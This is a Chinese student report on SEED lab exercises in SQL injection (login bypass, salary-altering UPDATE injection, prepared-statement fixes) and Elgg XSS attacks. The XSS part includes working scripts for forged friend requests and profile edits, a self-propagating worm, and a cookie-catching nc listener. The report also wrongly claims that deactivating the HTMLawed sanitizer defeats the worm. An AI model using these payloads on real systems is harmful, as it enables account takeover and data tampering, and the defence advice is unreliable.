20232821 2023-2024-2 《网络攻防实践》实践10报告
一、实践内容
知识点
1、Web应用程序体系结构
- Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。
- 浏览器主要完成数据显示与展示渲染
- 服务器主要完成业务计算处理
- 浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
2、SQL注入攻击
SQL注入是一种常见的安全漏洞,它利用了应用程序对用户输入数据的不正确处理,从而使恶意用户能够执行未经授权的SQL查询或操作。通常情况下,SQL注入攻击是通过在应用程序的输入字段中注入恶意的SQL代码来实现的。
3、SQL注入攻击的步骤
- 识别目标:攻击者首先识别目标应用程序中存在潜在SQL注入漏洞的位置,通常是通过输入字段与数据库交互的地方,如登录表单、搜索框、用户注册等。
- 构造恶意输入:攻击者构造包含恶意SQL代码的输入数据,这些代码旨在欺骗应用程序执行未经授权的数据库操作。恶意SQL代码可以是查询、命令或语句的片段,用于绕过应用程序的验证和过滤。
- 执行注入:攻击者将构造的恶意输入提交给目标应用程序,触发SQL注入漏洞。如果应用程序没有正确地处理输入数据,恶意SQL代码将被执行,并且可能会导致未经授权的数据库操作。
- 获取数据:一旦成功执行了注入,攻击者可以利用漏洞来执行各种操作,如绕过身份验证、窃取敏感数据、修改数据库记录等。
4、XSS攻击
跨站脚本(XSS)攻击是一种利用网页应用程序对用户输入数据的不正确处理,向网页中注入恶意脚本代码的攻击方式。攻击者通过在受害者的浏览器中执行恶意脚本来窃取用户信息、会话令牌或与网站交互的其他敏感信息,或者以受害者的身份执行未经授权的操作。
5、XSS攻击的目的
XSS攻击的目的通常是窃取用户敏感信息(如会话令牌、cookie等)、执行未经授权的操作(如修改用户资料、发起恶意请求等)、劫持用户会话、欺骗用户、破坏网站的可用性或声誉等。
实践内容
实践1:SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句:我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
实践2:SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
二、实践过程
更改名字
实践1:SEED SQL注入攻击与防御实验
1、熟悉SQL语句
ubuntu虚拟机中,root模式,启动mysql,输入命令mysql -u root -p,输入密码seedubuntu:
输入以下指令:
show databases;//查看所有数据库
use Users;//使用数据库
show tables;//查看数据库中的表,可以看到数据库中有credential表
select * from credential;//查看此表的内容,可以看到员工各项信息
select * from credential where Name=‘Alice’;//查看Alice的相关信息
截图如下:
2、对SELECT语句的SQL注入攻击过程
ctrl+U查看网页源代码,可以看到行校验的是unsafe_home.php:
输入vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,当用户名是admin时,用户信息表名为credential:
使用sql注入的漏洞,输入用户名Admin’#,密码随便输入;
由于#后面的语句被注释掉了不会执行,可以跳过密码的校验,进入Alice的主页(即只查询名字,不验证密码):
成功登录进入之后:
3、对 UPDATE语句的SQL注入攻击
UPDATE语句的内容在是unsafe_edit_backend.php中,输入vim /var/www/SQLInjection/unsafe_edit_backend.php 打开源代码,找到update的部分;
在update语句中,首先获取nickname的修改值,若输入nickname时第一个字符输入’,与输入内容前的 ’ 完成修改值录入,此时直接输入sql语句会被运行,最后以#结尾注释掉后续代码,即可完成sql注入攻击:
可以使用 $input_nickname 来进行SQL注入攻击;
点击Edit Profile,在nickname一栏输入输入语句:', Salary=‘111111’ where name=‘Boby’;# 将Boby的Salary值改为111111:
4、SQL对抗:修复上述SQL注入攻击漏洞
在unsafe_edit_backend.php中修改update部分:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);![请添加图片描述](https://img-blog.csdnimg.cn/direct/086209e5e1634d0c8d76ee5d8a654e5c.png)
修改unsafe_home.php文件的select语句部分:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);
实践2:SEED XSS跨站脚本攻击实验(Elgg)
1、显示警报窗口
浏览器中进入www.xsslabelgg.com网页,输入用户名Alice,密码seedalice,进行登录:
点击头像下面的Edit prolife,进入界面:
在Brief description中输入 ,然后保存:
输入nc -l 1921 -v指令进行监听;
同时输入用户名Boby,密码seedboby,进入boby主页;
访问Alice主页,成功得到cookie的值:
4、成为受害者的朋友
点击add friend添加boby为朋友:
按下ctrl+shift+E,打开开发者工具,然后切换到Network选项卡。得到URL:
先进入Alice的edit profile,找到about me,把代码放到Alice的 About me 下并选择 Edit HTML 模式,输入以下代码,点击保存
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
登录Alice的主页,发现已经和Boby成为好友:
5、修改受害者的信息
再次打开ctrl+shift+E,进入Alice的修改界面,将about me修改为自己的姓名拼音,save保存,查看修改信息时的请求包:
构造XSS攻击代码,如下,复制到about me中,然后保存:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20232821wxw</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
使用Boby的账号进入Alice主页,发现弹窗:
返回到Boby的主页,发现about me已被更改:
6、编写XSS蠕虫
构造蠕虫代码,如下:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20232821wxw"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用boby查看alice的主页,就会感染XSS蠕虫:
7、对抗XSS攻击
登录用户名Admin,密码seedelgg,进入Admin主页,打开Account-Administration-plugins,找到 HTMLawed ,关闭,即设为 Deactivate 状态:
登录Boby的账号,发现XSS蠕虫攻击失效:
三、学习中遇到的问题及解决
- 问题1:虚拟机不能复制粘贴
- 问题1解决方案:下载VMTools,如果安装不了,拷贝同学的虚拟机。 实在不行自己敲代码
四、实践总结
对于SQL注入攻击和XSS攻击有了些许了解。